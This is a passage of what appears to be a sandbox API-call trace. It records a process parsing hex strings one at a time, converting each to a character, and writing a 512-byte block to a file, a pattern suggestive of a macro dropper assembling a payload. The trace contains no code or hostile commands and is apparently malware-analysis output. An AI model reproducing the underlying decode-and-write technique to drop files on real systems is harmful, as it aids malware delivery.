lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o", lpUsedDefaultChar=0x0) returned 1 [0062.061] VarParseNumFromStr (in: strIn="&H63", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.061] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c", lpUsedDefaultChar=0x0) returned 1 [0062.062] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.062] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.063] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.063] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.064] VarParseNumFromStr (in: strIn="&H6C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.064] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0062.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l", lpUsedDefaultChar=0x0) returned 1 [0062.064] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.064] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x13") returned 1 [0062.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x13", lpUsedDefaultChar=0x0) returned 1 [0062.065] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.065] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.066] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.066] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.067] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.067] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.068] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.068] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0062.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0062.068] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.068] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0062.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0062.069] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.069] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.070] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.070] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.070] WriteFile (in: hFile=0xb4, lpBuffer=0x144fe00*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x18f320, lpOverlapped=0x0 | out: lpBuffer=0x144fe00*, lpNumberOfBytesWritten=0x18f320*=0x200, lpOverlapped=0x0) returned 1 [0062.073] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.073] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x14") returned 1 [0062.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x14", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x14", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x14", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x14", lpUsedDefaultChar=0x0) returned 1 [0062.074] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.074] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.074] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.074] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.075] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.075] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.076] VarParseNumFromStr (in: strIn="&H7E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.076] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="~") returned 1 [0062.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~", lpUsedDefaultChar=0x0) returned 1 [0062.076] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.076] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0062.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0062.077] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.077] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.078] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 